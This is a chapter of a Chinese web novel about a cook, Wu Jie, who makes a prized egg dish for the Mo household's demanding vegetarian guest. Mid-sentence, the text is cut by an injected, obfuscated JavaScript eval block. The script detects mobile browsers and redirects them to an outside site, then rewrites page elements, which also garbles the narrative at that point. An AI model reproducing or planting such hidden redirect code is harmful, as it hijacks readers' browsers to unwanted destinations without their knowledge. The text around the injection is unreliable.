乌婕怀里正兜着一包调料，一只脚已经跨在了门槛上，察觉到袖上传来的小小拉力后，便回头望着他。 她没有挣开他的手，而是摸了摸他的发顶。 “四卿平顺，我也平顺。” 原四卿松开了她，乌婕向他一笑，头也不回地走了。 …… 马车驶过松水街，略略兜了个圈，一直开进了莫家后门，最后停在后厨的院墙下。 乌婕一手捞调料，一手抓着铁锅，利落地跳了下来。 随从因为知道那铁锅的重量，对乌婕莫名生出些许敬畏，张开双臂在旁虚虚护着，一面嘴里还叫道：“乌娘子当心，乌娘子脚下慢些。” 实则根本没敢伸手去碰，唯恐乌婕真把铁锅又交到她手里。 两个人就这样维持着一里一外的别扭姿势，艰难移动到了厨房门外。 里面有人听到动静，便有一位膀大腰圆的妇人从内迎出，急匆匆问：“这就是那个乌厨？会做‘蛋儿白’的？” 随从胡乱代乌婕应了一声，妇人马上就说：“好，你手里这些东西都是什么？先随便放到里头，赶紧去做菜，快去！” 乌婕举着铁锅被推上了灶。 站在她两边的都是不认识的厨子，大家各忙各的，头都顾不上抬，毫无对新人的好奇。 明明饭点已过了一半，这般豪奢的一个大户，怎么还在匆匆备菜？ 在那位似乎是厨长的妇人的急切催促下，乌婕只好放下她不合时宜的疑惑，垂下脑袋，打起鸡蛋来。 31. 主菜登场 作为一道传播度极广的幽岍名菜，“蛋儿白”的步骤称不上复杂。 想要做好它，重在手稳与心细，以及一点小小的秘传技巧。 乌婕在佳膳会的小楼中做“蛋儿白”时，手边的材料不多，器具有限，但也被她成功做出来了三颗。 如今到了莫家物材充盈、高台大灶的后厨，更是如鱼得水、驾轻就熟。 她在后厨的蛋格处精挑细选，优中选优，择了质量上佳、形貌趋近的鸡蛋、鸭蛋各二十个。 而后又到调料台中取了精盐、蜜糖、肉桂粉、香辛料、黄果籽等，一齐放上了台面。 唐家娘子教给乌婕的“蛋儿白”是最正统的做法，调和鸡鸭蛋味时只用最纯净的糖与盐，去腥、减膻、解腻；进蒸笼前要用精细的白面来裹，尽力维持本味。 最后端出来吃到口中时，味道不咸不淡，唯有香嫩柔滑的口感久久不散。 乌婕自从学了这道菜，心里就常常揣摩、推敲，也琢磨出几个另类的改造法子。 只是她学习的时候更多，调试的机会太少，成品的质量还不够稳定。 当初她在佳膳会做时，既是为了在考试中彰显能为，也是出于对同业前辈杨停大厨的尊敬，故而以求稳为主，甚至连材料都没有过度耗费。 现在进到了莫吴语的老巢，材料多、对手也多，为了尽快在此处站住脚跟，先前求稳的路子已不合时宜了。 乌婕摩拳擦掌，先将两种蛋一一配好，分作五类，而后架起蒸锅，筛取调味。 单单一只原味的“蛋儿白”，能有什么意思？ 若是能让纯、甜、咸、辛、酸五种味道的“蛋儿白”同置一盘，偏偏外表看来又完全一致，只能逐一敲开才能尝出，岂不是新鲜极了？ …… 莫家前院。 莫吴语与黄夫人同坐在一张桌上，言笑晏晏，互夹饭菜，看起来格外亲近恩爱。 这份恩爱本该因为两人的倾心投入而显得丰满，但是旁观者只要稍稍将视线往上移动少许，便能发现其中的尴尬与扭曲之处。 ——就在妻夫俩的上首，这张桌子的主位之上，正坐着一名脸色沉郁、目光凌厉的玄袍青年。 她头戴玉冠，坐姿板正，双手交叠放在自己的腹部，视线缓缓在桌面逡巡。 看着不像是被主人家招待用饭的主客，更似个严苛监刑的判官。 而莫家妻夫便是那可怜的受刑之囚。 凡是被这位刑官的目光盯住、停留三息以上的菜肴，莫吴语便要立刻取筷去夹，然后由她自己或者黄夫人进行品尝，并轻声报出菜肴的口感，偶尔再小心翼翼补上几句赞誉。 玄衣人大多时候并没有什么额外的反应，只是威严地点一点头，再看下一道。 仿佛那些菜被莫吴语她们吃下，就好像也被她尝过了，不必继续在意。 而有些菜肴看似精致，实则口味奇异，以至于连家学渊源的黄夫人都夸不出口，玄衣人反而会因此生出兴趣。 她只微微抬手，立刻就有侍从上前替她夹取少许，送到她面前。 玄衣人用餐的姿态十分克制，每回只尝一两口，进了嘴的便会咽下；觉得尚可就多吃一口，剩下的就让侍从端下去自行处理，她也不过问。 被她中意的菜肴以素菜居多，面食为次，偶有汤菜，不见荤腥。 莫家的仆从们侍立在侧，个个低眉顺眼，一语不发。 满室的人只能等待着玄衣人将整桌菜看过、莫吴语将整桌菜夹过、黄夫人将整桌菜食用过，才规规矩矩地上前撤换，用后厨那边送来的新菜肴，再重新摆满一大桌。 莫吴语趁着她们换菜的间隙出门喘了口气，招手叫来亲信，没忍住露出了阴狠的神情。 但她面色虽是如此，嘴上却一点不敢僭越：“……今日又请了个新厨子？” 亲信垂着脑袋道：“是，这个厨子能做幽岍菜，在佳膳会的‘试菜’叫‘蛋儿白’。” 蛋？这倒不是不行…… 莫吴语忙问：“菜里不能混一点肉汁子，告给她没有？” 亲信回答：“家君放心，后厨有祁姑姑在盯着。” 莫吴语在廊下来回走了一趟，一跺脚道：“这样一天天地折腾……” 亲信没有拦阻的意思，而是抬眼看了看四周，仿佛是在警惕什么人。 莫吴语注意到亲信的神情，心里更添一分烦躁，只是讲不出口。 这里是莫家！她莫吴语的莫！她怎么还要如此憋屈地应承人呢？ 她出来的时间有些久了，黄夫人从里头走出来，轻声细语地对她说：“大人在里面，似乎想叫你呢。” 莫吴语的怒火差点就冲着他去了，但她仔细看了看黄夫人那双肖似其母的眼睛，又不得不克制。 可是转念一想，黄母虽然在佳膳会那头给了她几分便利，究竟也是个不顶用的厨子！ 最后，莫吴语不耐烦地对黄夫人说：“你先进去就是了，我不过是去洗个手的工夫。” 黄夫人低头看着自己的脚面，嘴角微微勾起了一瞬，“我还以为家君是吃撑了，要方便呢。” 莫吴语瞪了他一眼：“你是嫌自个儿吃的少了？” 黄夫人的语气依然柔和：“没有，家君误会我了。” 莫吴语对他心里想的什么没有兴趣，一甩手就绕开了他，而黄夫人脚步一挪，紧紧地跟了上去。 这对妻夫重新入席，同时挂上了营业的假面，再次依着玄衣人的古怪规矩，开始尝菜、试菜。 幸好，现在已经到了最后的第三桌。 玄衣人晚间不食，一日一次的折磨马上就能结束了。 不过，这第三桌的主菜，似乎有些不一样。 三人的目光齐齐聚在桌面正中，那道“占地”颇广的主菜上。 其实，依照湖仁摆宴的惯常规矩，无论大小宴席，主菜一般都是重油重荤，又或是浓稠汤菜，总之是要让人吃进嘴里填实肚子的东西。 奈何莫吴语面前的这位主客实在尊贵。 玄衣人只轻轻一个示意，莫家桌上主菜的位置便就此移了位。 这也不是说从此桌上就不能摆荤菜了，只是不能摆得显眼，否则玄衣人瞧见要吐，莫吴语也必得跟着吃瓜落。 于是莫吴语便想，大不了从此就专给这客人按照素斋的标准备饭，我背着她吃大鱼大肉，不叫她看见，这总没关系吧？ 可是她那个没良心的亲娘说：“……要是这位客人从此改了毛病，能吃进肉了，贵人才会高兴。” 莫吴语恨得咬牙，但又着实舍不下那份打动人的富贵，便硬着头皮与亲娘一起转圜，总算将这个大麻烦应承进了家门。 把麻烦搏成富贵的时限，只有一年。 倘若这一年过去还拿不下人，莫吴语也不知道自己会干什么。 她只知道，自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374120|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己会吃到一个从出生以来最大、最大的亏！ 就在此时，那“未来的亏”忽然开了尊口，问道： “这是什么？” 莫吴语猛地回过神来，一时有些支支吾吾。 黄夫人不慌不忙地侧过脸去，低声问了一个上菜的下人，这才对上首的玄衣人说：“大人，这一道是幽岍的名菜，名叫‘蛋儿白’，是用鸡蛋与鸭蛋做的，不曾下荤油。” 八枚“蛋儿白”在盘中摆成两列，静静地占据着桌面正中央。 它能成为主菜的理由也不稀奇：那些蛋个个都大，摆得也并不近，故而整道菜看起来，就显得很庞大了。 这其中也有“乌唐”是新来的缘故。 现在还能留在莫家的其他厨子，大多都是摸清了主家口味的，知道吃菜的人是偏好素菜、喜欢新奇的味道，而且对每道菜动得不多。 既然如此，她们便着力将菜往精致、创新处去做，还贴心地弄作小盘。 反正做多了也没有奖赏，做少了也没被责罚，慢慢就成了定例。 曾有人忌惮莫吴语恶名在外，不情愿在她跟前露脸，到了莫家就只做拿手的荤菜，过程中也不敷衍了事，问就是只会做荤菜。 果然，那莫吴语跟着客人吃素不过是装装样子，荤菜她也照吃，但兴许是被那个茹素的客人嫌弃，面子上挂不住，没几日便会将这种厨子赶回去。 更多厨子是老实巴交地做菜，权当换了个地方领薪水。 且有的厨子确实厨艺出色，偶尔也会被叫到前头去，由莫吴语按着湖仁的规矩给赏，给的东西竟然还很不错。 从此以后，厨子们才对这活计真正上心了些，也不再视莫家为龙潭虎穴了。 毕竟外人看来，莫吴语大肆搜罗厨子，无非是为了招待好她家里那个贵客。 至于那贵客是谁，跟莫吴语又有什么关系，好奇的人并不算多。 当然，假如有人拿着这消息在外头嚷嚷，那人的下场必会惨不忍睹。 一则莫吴语已提前为这位贵客下了封口令；二则，她那“湖仁恶霸”的名头也是不掺水的。 玄衣的贵客点了点头，没有问桌上那八颗究竟是鸡蛋还是鸭蛋，只静静看着。 湖仁恶霸莫吴语，就认命地坐直身体，取走了离她最近的一颗“蛋儿白”，然后叫侍从上前来剥。 侍从正是个剥蛋的熟手，轻易就将那鸭蛋壳扒碎，露出里面干干净净、白白嫩嫩的蛋身来。 黄夫人看着雪一般的“蛋儿白”落在盘中，情不自禁道：“看着倒不像一颗蛋。” 莫吴语挑眉看去，却没发现有什么特殊，只说：“仿佛是颗水煮蛋。” 因为上首还有人等着，妻夫俩也没有过多地耽误时间。 莫吴语伸出筷子，夹了一下上端，把那一小块蛋白带蛋黄，一起送入嘴里。 她嚼了嚼。 然后，她皱起了眉。 黄夫人在旁边问：“家君觉得如何？”语气分明有些殷切。 玄衣人端坐如山。 莫吴语却没有立刻答话，而是勾手示意，立刻就有人替她取来一枚大勺。 莫吴语接过来，毫不客气地一下挖走了绝大部分“蛋儿白”。 这一次她尝起来就悠闲得多，甚至还特意避开蛋白吃蛋黄、避开蛋黄吃蛋白，好好地品尝了一阵，最后才给出定论： “这蛋，没蛋味儿。”